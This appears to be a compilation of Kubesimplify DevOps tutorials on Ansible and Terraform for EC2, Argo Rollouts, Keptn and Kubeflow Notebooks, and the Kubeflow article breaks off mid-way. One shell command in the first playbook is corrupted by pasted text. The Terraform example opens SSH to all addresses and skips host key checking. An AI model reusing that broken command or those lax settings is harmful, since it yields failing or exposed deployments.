each playbook can have 1 or more plays and each play has its hosts mentioned
each task has 1 or more steps with each having a name and special Ansible bulletin, etc.
```yml
---

- name: play 1
   hosts: monitor
   tasks:
    ....
- name: play 2
   hosts: application
   tasks:
    ....

```

so where do these hostnames come from 

Here comes the part of the Inventory

Inside `/etc/ansible/hosts` file

it can be DNS names or simply put IP address instead

```yml
[monitor]
server01.com
server02.com

[application]
server05.com
server07.com
server08.com
```

Ansible in itself is a CLI, but we can also use GUI by using Ansible Tower

# Configure EC2 instance using Ansible (BASIC)

> 💁 Used the ubuntu 22.04 as an image for EC2 and added HTTP inbound traffic to the security group and the newly created ssh key must be used in your case

## Ansible.cfg (`/etc/ansible/ansible.cfg`)

```yml
[defaults]
private_key_file = demo-key-pair.pem # file path ssh key downloaded from AWS
```

## Inventory (`/etc/ansible/hosts`)

```yml
[ec2]
<public ip of ec2 instance> ansible_ssh_user=ubuntu ansible_ssh_pass=<if any>
# but as we are using pem files we don't require the ansible ssh pass tag
```

## To verify the connections
```sh
ansible ec2 -m ping -vvv
```

## Playbook
```yml
---
- name: My first play
  hosts: ec2
  #  remote_user: root
  become: true
  tasks:
  - name: Ping my hosts
    ansible.builtin.ping:
  - name: Print message
    ansible.builtin.debug:
      msg: Hello from preview runner!!!
  - name: install docker
    ansible.builtin.shell: "sudo apt update -y && sudo apt install docker.io -y"

  - name: fix the permissions
    ansible.builtin.shell: "sudo usermod -aG docker ${USER}"

  - name: run container
    ansible.builtin.shell: "sudo docker network crnewly created ssh key must beeate pdf ; sudo docker run --rm -d --net pdf -p 80:80 --name pdf dipugodocker/pdf-editor:0.8-frontend && sudo docker run --rm -d --net pdf -p 8080 --name backend dipugodocker/pdf-editor:0.8-backend"

  - name: "GET docker compose file" # demonstration of how to copy files
    ansible.builtin.copy:
      src: docker-compose.yml
      dest: /home/ubuntu
      owner: ubuntu
      group: ubuntu
      mode: '0744'
```

## EC2 playbook syntax check
```sh
ansible-playbook ec2-demo.yml --syntax-check
```
> NOTE: if sudo privileges are asked use `--ask-become-pass` if we get asked for sudo passphrase during privilege escalation 

```sh
ansible-playbook ec2-demo.yml
```


Here is a little tip for viewing the status of all EC2 instances using AWS CLI
```sh
aws ec2 describe-instances
```


Let's go a step further!

## Lets configure terraform with Ansible to automate the infrastructure and configuration

> ⚠ NOTE: Comment out every line in the `/etc/ansible/hosts`

### Terraform file

```Terraform
provider "aws" {
  region  = "us-east-1"
}

# $ export AWS_ACCESS_KEY_ID="<provide the keys>"
# $ export AWS_SECRET_ACCESS_KEY="<provide the keys>"

# 1. create vpc
resource "aws_vpc" "prod-vpc" {
  cidr_block = "10.0.0.0/16"

  tags = {
    "Name" = "production"
  }
}

# 2. create internet gateway
resource "aws_internet_gateway" "gw" {
  vpc_id = aws_vpc.prod-vpc.id

  tags = {
    Name = "ig"
  }
}

# 3. create custom route table
resource "aws_route_table" "prod-route-table" {
  vpc_id = aws_vpc.prod-vpc.id

  route {
    cidr_block = "0.0.0.0/0"
    gateway_id = aws_internet_gateway.gw.id
  }

  route {
    ipv6_cidr_block        = "::/0"
    gateway_id             = aws_internet_gateway.gw.id
  }

  tags = {
    Name = "prod-rt"
  }
}

# 4. create a subnet
resource "aws_subnet" "subnet-1" {
  vpc_id     = aws_vpc.prod-vpc.id
  cidr_block = "10.0.1.0/24"
  # cidr_block = var.subnet_prefix
  availability_zone = "us-east-1a"

  tags = {
    Name = "prod-subnet"
  }
}

# 5. associate subnet with route table
resource "aws_route_table_association" "a" {
  subnet_id      = aws_subnet.subnet-1.id
  route_table_id = aws_route_table.prod-route-table.id
}

# 6. create a security group to allow ports 22, 80, 443
resource "aws_security_group" "allow_web" {
  name        = "allow_web_traffic"
  description = "Allow Web inbound traffic"
  vpc_id      = aws_vpc.prod-vpc.id

  ingress {
    description      = "HTTP"
    from_port        = 80
    to_port          = 80
    protocol         = "tcp"
    cidr_blocks      = ["0.0.0.0/0"] # so as to make anyone to reach the server
  }

  ingress {
    description      = "SSH"
    from_port        = 22
    to_port          = 22
    protocol         = "tcp"
    cidr_blocks      = ["0.0.0.0/0"] # so as to make anyone to reach the server
  }

  egress {
    from_port        = 0
    to_port          = 0
    protocol         = "-1"
    cidr_blocks      = ["0.0.0.0/0"]
  }

  tags = {
    Name = "allow_web"
  }
}

# 7. create a network interface with ip in the subnet that was created in step 4
resource "aws_network_interface" "web-server-nic" {
  subnet_id       = aws_subnet.subnet-1.id
  private_ips     = ["10.0.1.50"]
  security_groups = [aws_security_group.allow_web.id]
}

# 8. assign an elastic ip to the network interface created in step 7
resource "aws_eip" "one" {
  depends_on = [
    aws_internet_gateway.gw
  ]
  vpc                       = true
  network_interface         = aws_network_interface.web-server-nic.id
  associate_with_private_ip = "10.0.1.50"
}

output "server_public_ip" {  # it will print when terrafrom apply
  value = aws_eip.one.public_ip
}

# 9. create ubuntu server

resource "aws_instance" "web-server-ec2" {
  ami = "ami-052efd3df9dad4825"
  instance_type = "t2.micro"
  availability_zone = "us-east-1a" # it is hardcoded as aws will make different zones to subnet and ec2 creating error
  key_name = "demo-key-pair"
  network_interface {
    device_index = 0
    network_interface_id = aws_network_interface.web-server-nic.id
  }

  user_data = <<-EOF
    #!/bin/bash
    sudo apt update -y
    EOF

  tags = {
    "Name" = "web-server"
  }

# using local-exec to run Ansible
  provisioner "local-exec" {
    command = "sleep 120; ANSIBLE_HOST_KEY_CHECKING=False ansible-playbook -u ubuntu --private-key ./demo-key-pair.pem -i '${aws_instance.web-server-ec2.public_ip},' ec2-cfg.yml && curl --head ${aws_instance.web-server-ec2.public_ip}"
  }
}

```
here the 
* -u -> user
* --private-key -> path to the ssh key
* -i -> inventory with comma separated host IPs 

### Ansible playbook save as (ec2-cfg.yml)
```yml
---
- name: My first play
  # hosts: ec2
  hosts: all
  #  remote_user: root
  become: true # it tells that privilege should be escalated 
  tasks:
  - name: Ping my hosts
    ansible.builtin.ping:
  - name: Print message
    ansible.builtin.debug:
      msg: Hello from preview runner!!!
  - name: install docker
    shell: "sudo apt update -y && sudo apt install docker.io -y"

  - name: fix the permissions
    shell: "sudo usermod -aG docker ${USER}"

  - name: run container
    shell: "sudo docker network create pdf ; sudo docker run --rm -d --net pdf -p 80:80 --name pdf dipugodocker/pdf-editor:0.8-frontend && sudo docker run --rm -d --net pdf -p 8080 --name backend dipugodocker/pdf-editor:0.8-backend"
```

```zsh
terraform init
terraform plan
terraform apply 
```

[Official Docs](https://docs.ansible.com/)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Progressive Rollouts with Argo CD & Rollouts

- Canonical: https://blog.kubesimplify.com/progressive-rollouts-with-argo-cd-rollouts
- Published: 2022-08-16

# Progressing Rollouts
the process of releasing updates for an application in a controlled manner, thereby reducing the risk in the release, automated analysis is done using monitoring tools whether to promote or rollback

# Deployment Strategy
- Blue-Green -- 
here the Stable version is Blue and the new Version is green when the new Version is rolled out then all the traffic is routed to the new version after testing is done keeping the blue version there for some time without traffic when conformed the blue version is removed and green version is promoted to the blue version
it's either blue or green, both cannot handle traffic simultaneously
 
- Canary --
here the stable version and new version(known as canary) are living side-by-side handling traffic on a ratio/percentage basis canary version is tested and promoted to higher traffic percentage till it gets to 100% where all the instances are replaced with the new version. 
it is more used because it can provide more granular control, to whom show the new site
some users signup for a beta release have a cache entry that corresponds to a canary key-value and seeing this info canary version is shown to that user


# Setup

using Kind cluster with Nginx Ingress
```sh
cat <<EOF | kind create cluster --config=-
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
nodes:
- role: control-plane
  kubeadmConfigPatches:
  - |
    kind: InitConfiguration
    nodeRegistration:
      kubeletExtraArgs:
        node-labels: "ingress-ready=true"
  extraPortMappings:
  - containerPort: 80
    hostPort: 80
    protocol: TCP
  - containerPort: 443
    hostPort: 443
    protocol: TCP
EOF

kubectl apply -f https://raw.githubusercontent.com/kubernetes/ingress-nginx/main/deploy/static/provider/kind/deploy.yaml
```

# install the ArgoCD & rollouts

```sh
kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/stable/manifests/install.yaml

# password
kubectl -n argocd get secret argocd-initial-admin-secret -o jsonpath="{.data.password}" | base64 -d; echo
```

Controller inside the cluster
```sh
kubectl create namespace argo-rollouts
kubectl apply -n argo-rollouts -f https://github.com/argoproj/argo-rollouts/releases/latest/download/install.yaml
```

Kubectl plugin install

```sh
curl -LO https://github.com/argoproj/argo-rollouts/releases/latest/download/kubectl-argo-rollouts-linux-amd64
chmod +x ./kubectl-argo-rollouts-linux-amd64
sudo mv ./kubectl-argo-rollouts-linux-amd64 /usr/local/bin/kubectl-argo-rollouts

# Check whether its working
kubectl argo rollouts version
```

![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/tVkDmSXIo.png align="left")



# Blue-Green


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/9b4_xv_lo.png align="left")

Click the 'Create Application'
```
fork the repo https://github.com/dipankardas011/PDF-Editor.git
select manual sync option
enable the auto-namespace creation
repo: https://github.com/<>/PDF-Editor.git
HEAD: main
path: deploy/blue-green
namespace: pdf-editor-ns
```

![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/vMW0x3MPH.png align="left")


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/T-j9no4T4.png align="left")

now go and change the image version to 0.8-frontend in frontend in file deploy/blue-green/deploy.yml

![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/DWBfQ4T1k.png align="left")


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/C72T3qYw2.png align="left")


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/CiLuLaSmJ.png align="left")



![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/rIaMtCSjf.png align="left")

![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/xhE9AMtHS.png align="left")

![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/5FbmQSfEw.png align="left")

you can further see that is happening using the rollouts dashboard
```sh
kubectl argo rollouts dashboard
```
![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/8bQ5cMA__.png align="left")


![code.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/Ru9ZezdTi.png align="left")

## Cleanup
delete the application from the Argo CD UI

---

# Canary


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/ptRIFbHh-.png align="left")

Click the 'Create Application'
```

select manual sync option
enable the auto-namespace creation
repo: https://github.com/<>/PDF-Editor.git
HEAD: main
path: deploy/canary
namespace: pdf-editor-ns

add this line to your /etc/hosts
127.0.0.1 pdf-editor

open your browser and go to http://pdf-editor
```

![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/v_vhkU8TT.png align="left")


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/LtfUYRN0s.png align="left")

now edit the image of frontend to 0.8-frontend


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/AbtVcxdvM.png align="left")


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/L1U5Uw1yq.png align="left")


![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/10i3LmUZ7.png align="left")

from here you can resume the deployment by promote button or 
```sh
kubectl argo rollouts promote pdf-editor-frontend -npdf-editor-ns
```

refreshing the page, you will see the beta for some and stable in others
![image.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/fheq0B87S.png align="left")

you will notice that after promote, the frequency of beta version has increased

![code.png](/img/blog/progressive-rollouts-with-argo-cd-rollouts/qCHGn7j52.png align="left")


stableService = stable Service name
canaryService = canary Service name
stableIngress = ingress name
```
steps:
      - setWeight: 30     # it tells 30% traffic will go for canary and will remain as it is till manually promoted
      - pause: {}
```

## Cleanup
delete the application from the Argo CD UI

Hope this blog helps to give you a better understanding about progressing rollouts

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Keptn: Getting started

- Canonical: https://blog.kubesimplify.com/keptn-getting-started
- Published: 2022-08-11

# Keptn:

Keptn is an event-driven orchestration engine for cloud-native apps. It is a CNCF incubating project. It does a lot of things, some of them include:

- Decoupling tools from workflows. 
- Automate multi-stage delivery. 
- Making reusable pipelines. 
- Making delivery process more efficient, by making them asynchronous.
- Reducing manual testing and validation.
- Automated Operations.

We will explore all the above stated aspects one by one, but before that we need to understand "Why Keptn". So, let's get back to how does a typical, application release cycle looks like, without Keptn.

# Without Keptn:

As we know, there are multiple stages and environments, when it comes to delivering software, from building to all the way delivering it to the end users. Development stage, pre-production stage and production stage. All these stages need different type of testing and manual approvals, before deploying it to the next stage.

When it comes to deploying it into production. There are different strategies, like direct,  canary and blue-green deployment. They prevent the service denial in case things go wrong in the production stage. Let's take an example.

There is an application, it is a blogging site like hashnode. The developers decided to add a new feature into it. What will happen ?


![cicd-pipeline-1024x355.png](/img/blog/keptn-getting-started/GKiNARME0.png align="left")

Above is an image of a typical CI/CD pipeline. It consists of actions that take place when they try to add a new feature in the app. The pipeline is an automation script, with thousands of lines of code, with step-by-step process, tool integration. It is literally very hard to maintain.

1: Commit change:

- The developers coded the new feature and committed it into the repository.
- It will automatically trigger the build stage.

2: Build stage:

- The feature is built and gets ready for being tested.

3: Testing:

- Does the feature break the application ? If yes, it won't be sent to the next stage.
- If everything works fine, it is sent to the next step.

4: Pushing to registry and deploying:

-  Now the built image is pushed to the registry.
- It is then further deployed into the Dev environment.

But for the end users to see the changes, the application must be deployed to production, dev and pre-prod stages are just for testing, the application is only accessible from production. 

We cannot do that directly deploy to production using a normal CI/CD pipeline, In the dev stage the application is just tested for bugs, We don't know how it will perform when exposed to real users. Our application must pass functional as well as performance test before it can be deployed into production.

So we use a multi-stage process.

## Multi stage process:

![Screenshot 2022-07-29 at 2.56.55 AM.png](/img/blog/keptn-getting-started/Jih6Snwfw.png align="left")

#### 1: Development stage:

- The application is deployed in dev stage and automated functional tests are performed here.
- Is it working ? Or does the new feature break the application ? If yes, we cannot send it to the next stage.
- Manual tests are also used to increase the reliability of the build.
- On passing all of them, A person tallies the data produced via testing and manually approves it for the next stage.

#### 2: Pre-production stage:

- The application is deployed in pre-prod/staging and automated performance tests are run.
- How fast does the application respond when exposed to the user traffic ?
- Extensive manual evaluations are also done, just like Development stage, manual approval is necessary here as well.

#### 3: Production stage:
![Screenshot 2022-07-29 at 3.21.55 AM.png](/img/blog/keptn-getting-started/iIkVdVben.png align="left")

- The application is now deployed using a strategy like direct, blue-green etc.
- It deploys the feature in small chunks and a small amount of traffic is diverted to it, so that if the application breaks, the users don't lose access, they just start requesting the services running an older version.

### Problems:


1. Manual testing and approval: A lot of manual work delays the process and increases chances of manual errors.

2. Time: Doing thing manually and in a synchronous order slows the release process down.

3. Tool integration and non-reusable pipelines: There are so many tools that offer similar features.

![1_XXbcbVCijb2DqX6SFHOlEA.png](/img/blog/keptn-getting-started/ETEQyaNlD.png align="left")

These tools need to be integrated in the pipeline, making the pipeline non-reusable. Because even a slight version difference of a tool can break it, after-all it is just automation scripts. For any slight difference, a new pipeline must be built.

It is not so uncommon to have multiple pipelines. A company might have different teams using several of them. The team itself needs to maintain it, and it's a lot of work, because it usually uses ***Shell scripting***.

![Screenshot 2022-07-28 at 2.18.20 AM.png](/img/blog/keptn-getting-started/ZVUG-PP89.png align="left")

4: Operations: Even after the application is deployed in the production. It still might break, the operations team would have to act at once, doesn't matter if it's 3 in the night. The company is loosing customers and revenue.

Too much of the problem part. Let's find the solution. Now enters Keptn!

# With Keptn:

![Screenshot 2022-07-28 at 1.51.09 AM.png](/img/blog/keptn-getting-started/TqYat7UPO.png align="left")

Keptn uses declarative approach to define high level workflow. We define "What needs to be done" in a file(YAML), the ***Shipyard.yaml*** file, and keptn handles "How it will be done."


![Screenshot 2022-07-28 at 1.55.52 AM.png](/img/blog/keptn-getting-started/Bax6nm_dv.png align="left")

Above is an example of the [shipyard file](https://github.com/keptn/examples/blob/master/quickstart/demo/shipyard.yaml). The file is divided into multiple **stages**, hardening and production. Each stage contains **sequences**, which further contains **tasks**.

Just like the above-mentioned "multi-stage process", the shipyard file have stages, each stage consists of sequences like, **delivery** which itself will contain **tasks**, that are the steps needed to perform that delivery sequence. Steps like *deployment*, *testing*, *evaluation* etc.

This is not a shell script, it is a simple YAML file that just defines what needs to be done. It does not even contain the integration script of tools. The tools are not even mentioned !

You might be wondering :
- How do tools know that they have to perform the task ?
- What about different versions and reusable pipelines ?
- How does validation happen for the artifact to go from one stage to another, it must be manual, right ?
- Automated Operations was mention above. What about that ?


## How Keptn works:

Keptn uses events to communicate with tools, hence event-driven. The tools that have to perform the task, keep listening for the event, when received, perform the task and send back a "completed" status.

#### 1. How do the tools know ?

There is a ***Keptn Service*** for individual tools. It is the one listening to the keptn events, when received, translates the event into a tool-specific API call, so that the tool itself now understands what needs to be done.

![Screenshot 2022-07-29 at 3.59.25 AM.png](/img/blog/keptn-getting-started/9jMyiG6BB.png align="left")

Let's take the Deployment task in the above shipyard file. After reading the file, Keptn generates events, that specifies what needs to be done. Now the **deployment service**, let's say **Helm-service**, which is constantly listening for the deployment event, tells Helm to Deploy the app in pre-prod stage.

Keptn Deployment service takes it, converts it into tools specific API calls, so that now tool itself knows what needs to be deployed, and how ! Doesn't matter what tool you use, Helm, Kubectl etc.

![Screenshot 2022-07-29 at 3.58.03 AM.png](/img/blog/keptn-getting-started/zikHQdA0I.png align="left")


keptn provides services for limited tools for now, but Web hooks can be used to attach almost any tool needed for the task. Meanwhile, the community is working to increase the services.

Now, your tools are separated from the workflow! They look like this. No more integration scripts, just a small shipyard file, used to tell "What to do", Keptn will manage the "How to do".

![Screenshot 2022-07-28 at 2.46.14 AM.png](/img/blog/keptn-getting-started/bZVN4OlKC.png align="left")

#### 2. Reusable pipelines:

- As mentioned in the above section, now the tools used don't matter. If you want to change it, just change the tool-specific service. 
- Example: if you want to use Dynatrace instead of prometheus, just change the service from prometheus service to Helm, everything else remains the same. it even manages the version difference. There is no script, so nothing really changed. Monitoring will still happen, Dynatrace will do it, instead of Prometheus.

#### 3. Efficient and Asynchronous workflow:

![Screenshot 2022-07-29 at 4.28.16 AM.png](/img/blog/keptn-getting-started/X9HIIQQII.png align="left")

- As we know that keptn is event-driven. It does not function synchronously as a normal automation script would. Let's take an example.

- Let's say you just did a Jenkins build, and now it's running a 5 hours long test. While testing happens, other builds and tasks are blocked ! But in case of event-driven workflow, the tasks are independent. The tools start performing the task and keptn triggers the next task. When any of the previous task is completed, it sends back the "completion" message. Similar to how Asynchronous JavaScript works in our modern websites.

#### 4. Validation Gates:

- Initially we needed manual approval, that needed comparing the overall performance of the application, deciding if the changes need to be approved or rejected. It takes a lot of time and is prone to error ! Data produced due to the tests, isn't really human friendly as well, it is overkill and finding insights in it takes more time.

- Now manual process is replaced by keptn's ***Quality Gates***. It works on  SRE principles. Keptn has a built-in service for evaluation, The lighthouse service. It compares SLIs with SLOs and decides if the performance is good enough to forward the application to the next stage. There are SLI.yml and SLO.yml files, that contain necessary information.

#### What are SLIs, SLOs and SLAs ? Here is an image.

![Screenshot 2022-07-28 at 2.59.57 AM.png](/img/blog/keptn-getting-started/hRVc9fN7g.png align="left")

SLIs: Service level indicators, they are collection of metrics, generated by monitoring tools. This tells how the new application performed against the tests.

SLOs: Service level objectives, they are the collections of objectives. How our application should perform.


![Screenshot 2022-07-29 at 4.36.30 AM.png](/img/blog/keptn-getting-started/kBROsduWe.png align="left")

- So the lighthouse service pulls the performance report of the application. The report is produced by monitoring tools while the application was being tested. Compares them with the SLOs, and finally calculates the score, about how the application performed. Hence, removing the manual aspect of Evaluation. The output is a score, which is sent back to the keptn control plane. 

- Manual as well as Automated approval is possible, just specify it in the shipyard file. So that Keptn knows what needs to be done.

#### 5. Automated Operations:

- Let's say the application was finally deployed to production by using one of the method mentioned in the shipyard file. Things are working fine but all of a sudden the containers start crashing or the response time of the application is high now. It is due to the festivals! Your application is being visited more often, the traffic is increasing.

- Usually a monitoring tool keeps an eye on this and notifies the maintainers if something goes wrong, but it might happen anytime and the maintainers suffer a lot due to this. Maybe the problem was very trivial, but the team had to visit and check. Keptn solves this issue as well via it's "remediation" feature.

![Screenshot 2022-07-29 at 4.45.46 AM.png](/img/blog/keptn-getting-started/X1AaAU8Aa.png align="left")


- Above is a sample remediation sequence. Let's say one of our services start failing, monitoring tools are observing the cluster. Now, instead of directly notifying the maintainers, the tools notify keptn about the problems. Keptn check the remediation sequence and compares  the "problemType" mentioned.

- Let's say our application is facing "Response time degradation", as a remediation measure, Keptn will scale up the application. How ? It will send the task in form of an event, the subscribed tools listen to it and do the task. So, is the issue fixed now?

- The monitoring tools will watch the cluster for some time, collecting the metrics. After sometime, the Lighthouse service will re-evaluate the performance and respond with a score. If it's good, the issue is fixed without any human interference. Automated Operations !
- If the issue isn't fixed, the next remediation sequence will run. Removing the feature flag and switching to the previous version of the application. The results will again be evaluated by the lighthouse service.

- If even after running the remediation sequences, the problem isn't fixed. The maintainers will be informed. And you can see, monitoring and alerting is a core part of Keptn !

Finally, let's see how an entire release cycle with keptn looks like, with an example.

## Example release cycle:

![Screenshot 2022-07-29 at 5.30.48 AM.png](/img/blog/keptn-getting-started/Ps-uRtNSh.png align="left")

- The changes in the repository were made, which triggered, let's say, a jenkins build, Test → Build image → Push to registry → Tell Keptn to start multi-stage delivery.

- Now keptn does its work, in all the stages. Development, pre-production and Production. Therefore, performs "Multi-stage-delivery" of the application from development, all the way up to production ! It follows the GitOps principles. Which is an industry standard, but we will talk about it some other time.

## Where does Keptn reside?

![Screenshot 2022-07-29 at 2.26.13 PM.png](/img/blog/keptn-getting-started/5uqkj6nvJ.png align="left")

- It resides in your Kubernetes cluster itself ! The control plane, that manages everything Keptn related resided in your cluster, meanwhile the Execution plane services, that provide the functionality, like the Keptn Helm-service can reside inside as well outside the cluster.

This gives enough information about the keptn project to get started. You can learn more via the official documentation. It is a CNCF incubating project, to help the community grow ! Here is a hands-on demo about the project, test it out [Killercoda-keptn: end-to-end delivery](https://killercoda.com/keptn/scenario/keptn-end-to-end-delivery).

Writing this blog has been an amazing journey for me. It helped me a lot, to learn more about the project. The thoughts behind it are amazing, and it really solves many real world problems. The first step of getting started with contributing to any open source project is getting to know what it does. Join the community, join the conversation and I hope this blog helps you get started with your open source journey :D

The community is very helping, and I look forward to contributing more.
[keptn project](https://github.com/keptn/keptn) check it out !

Special thanks to @[Saiyam Pathak](@Saiyampathak) and Nana (TechworldWithNana) for their amazing resources. Helped me a lot in my journey.

I am a student, exploring every day, learning and sharing. I learn about different tools and projects, so that I can provide some value to them. If my blogs help folks to get started with their open source journey, It's a win for everyone ! Here is my twitter/LinkedIn. Let's explore together!

[Twitter](https://twitter.com/prateek_0041).
[Linkedin](https://www.linkedin.com/in/prateek-singh-903449211/).

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Kubeflow Notebooks: ML Experimentation Made Easier - Part 2

- Canonical: https://blog.kubesimplify.com/kubeflow-notebooks-ml-experimentation-made-easier-part-2
- Published: 2022-08-08

Machine learning is a very iterative process with a ton of experimentation you might need to do. In this article, I introduce you to Kubeflow Notebooks, a way to run development environments inside your Kubernetes cluster, as well as how you could extend the default capabilities of Kubeflow Notebooks for your own use cases and how it works under the hood.

## Previous articles in the series

- [Kubeflow: Machine Learning on Kubernetes - Part 1](https://kubesimplify.com/kubeflow-machine-learning-on-kubernetes-part-1)

In the last article, we already took a look at the basics of Kubeflow and the central dashboard. This time around we will be building on top of that by talking about Kubeflow Notebooks.

## Kubeflow Notebooks

Kubeflow Notebooks provides a way to run web-based development environments inside your Kubernetes cluster by running them inside Pods.

There are multiple advantages to such a setting:

- You can create Notebook containers and run them directly in the cluster, rather than doing so locally
- You can use pre-configured or custom images to create the environment, which would allow you to focus on the task at hand and not on the environment or installation issues
- You could easily leverage the power of extensions with Kubeflow Notebooks and in this article, and in later articles we will also take a look at Kubeflow fairing among others
- Out-of-the-box support for JupyterLab, RStudio, and VS Code however you could use any other IDEs
- Finally, Kubeflow’s role-based access control capabilities make it sufficiently easier to allow easy and secure notebook sharing

## Create a Notebook Server

Before talking more about any particular components of Kubeflow Notebooks, let us first take a high-level look at creating a Kubeflow Notebook server and running some sample code in your Notebook server. A single Kubeflow Notebook server can contain multiple notebooks and you would probably like to have multiple Notebook servers for different stages in your Machine Learning lifecycle according to your needs.

![image.png](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/avoz-S9oU.png align="left")
How a Notebook Server is structured

It is pretty straightforward to create a Kubeflow Notebook server using the UI and you have the ability to specify:

- A name for the notebook and the workspace it belongs to.
- A docker image for your Notebook Server, this is the image our container would run, and you can understand it as a way to specify what you want the environment to contain. This is also customizable according to your needs, and we will see more about that in a dedicated section in this article. 
- The CPU and RAM the notebook server tries to request.
- Specify if you need GPUs in your Notebook pods, Kubeflwo achieves this with limits as shown in the [Kubernetes documentation](https://kubernetes.io/docs/tasks/manage-gpus/scheduling-gpus/).
- A workspace volume to be mounted as a PVC Volume on your home folder.
- One or more data volumes to be mounted as PVC Volumes. We will also talk about this in greater detail.
- Configurations is a way to inject common data (env vars, volumes) into notebooks. Kubeflow created the PodDefault controller based on Kubernetes PodPreset (now deprecated) which you can use to achieve this. You can create PodDefault manifests which describe additional runtime requirements (i.e., volume, volumeMounts, environment variables) to be injected into a Pod at creation time.
- As you might have guessed, you can also specify affinity and taint config for Notebook servers.
- Notebooks also allow you to enable shared memory. If you use something like [`torch.multiprocessing`](https://pytorch.org/docs/stable/multiprocessing.html#module-torch.multiprocessing) or [`torch.Tensor.share_memory_()`](https://pytorch.org/docs/stable/generated/torch.Tensor.share_memory_.html), these heavily rely on the usage of shared memory.

Let us now create a notebook server setting the image to `kubeflownotebookswg/jupyter-tensorflow-full:v1.6.0-rc.1` which contains TensorFlow 2.5.3 and some other commonly used libraries, we will later see how you can customize these images too. Clicking "Launch" creates a new Notebook CRD with these settings and you should soon see a prompt allowing you to connect to your notebooks server.

![notebook-server-connect.PNG](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/e6ajndW99.PNG align="left")
Connect to a Notebook Server

### Run an example notebook

Let us first try tunning a simple TensorFlow example in the Notebook server, you can of course run any notebook you want.

```sh
git clone https://github.com/kubesimplify/kubeflow-series
cd kubeflow-series/2
```

If you are wondering why does a new machine have Git installed, that is because the default Kubeflow images contain a lot of utilities you would require pre-installed. Now you can try tunning the `tensorflow-example.ipynb` which contains some simple model training code for TensorFlow 2 using Keras.

You could in fact also make use of Jupyter Lab Extensions and we will talk about extensions like KALE and Elyra in later articles.

### Using Tensorboard

In machine learning, to improve something you often need to be able to measure it. TensorBoard is a tool for providing the measurements and visualizations needed during the machine learning workflow. It enables tracking experiment metrics like loss and accuracy, visualizing the model graph, projecting embeddings to a lower dimensional space, and much more.

Let us see an example of using TensorBoard with Kubeflow.

You should now run the `tensorboard.ipynb`, this is a TensorFlow example but as you might have already guessed you could use TensorBoard with any other framework too. If you notice while running this example we created a `logs` directory where our TensorBoard logs are stored. 

You can now create a TensorBoard instance and use the PVC we had for our Notebook instance to get the TensorBoard logs, in my case, this looks like this:

![create-tensorboard.PNG](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/B8jUNk2Y3.PNG align="left")
Create TensorBoard

And voila, there you have it, TensorBoard up and running that automatically reloads from your training logs too.

![image.png](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/QHQF1ZjOS.png align="left")
TensorBoard Homepage

## What happens when you create a Notebook Server?

We already created a Notebook Server, as a next step it would be really helpful to know how Kubeflow manages to create a new Notebook Server.

Whenever you create a new Kubeflow Notebook server you are essentially creating a Kubernetes StatefulSet. And any code you run in the Notebook server run son Kubernetes pods.

Simply put, a StatefulSet is a controller that helps you deploy and scale groups of Kubernetes pods. The StatefulSet controller also instantiates and manages PersistentVolumeClaims for each Pod instance which we will take a better look at in the next section. A StatefulSet is commonly used when you want to run several pods of the same type in parallel, but each of the pods is required to have a specific identity.

![create-notebook-server.png](/img/blog/kubeflow-notebooks-ml-experimentation-made-easier-part-2/cWX73JD-l.png align="left")
A Notebook Server in Kubeflow

I thought it would be an interesting exercise to see the Kubernetes event logs when you create a notebook which should now make a lot more sense that you already know how it works under the hood. Here is a snippet of the events taking place when you create a notebook:

```
statefulset/kubeflow-series-part2                       create Pod kubeflow-series-part2-0 in StatefulSet kubeflow-series-part2successful
notebook/kubeflow-series-part2                          Reissued from statefulset/kubeflow-series-part2: create Pod kubeflow-series-part2-0in StatefulSet kubeflow-series-part2 successful
persistentvolumeclaim/kubeflow-series-part2-volume      External provisioner is provisioning volume for claim "kubeflow-user-example-com/kubeflow-series-part2-volume"
persistentvolumeclaim/kubeflow-series-part2-volume      waiting for a volume to be created, either by external provisioner "csi.civo.com" or manually created by system administrator
persistentvolumeclaim/kubeflow-series-part2-volume      Successfully provisioned volume pvc-a75855d7-4c2d-4479-a61c-e071e3cb8eaa
pod/kubeflow-series-part2-0                             Successfully assigned kubeflow-user-example-com/kubeflow-series-part2-0 to k3s-kubeflow-e183-917191-node-pool-7e46-n66x1
notebook/kubeflow-series-part2                          Reissued from pod/kubeflow-series-part2-0: Successfully assigned kubeflow-user-example-com/kubeflow-series-part2-0 to k3s-kubeflow-e183-917191-node-pool-7e46-n66x1
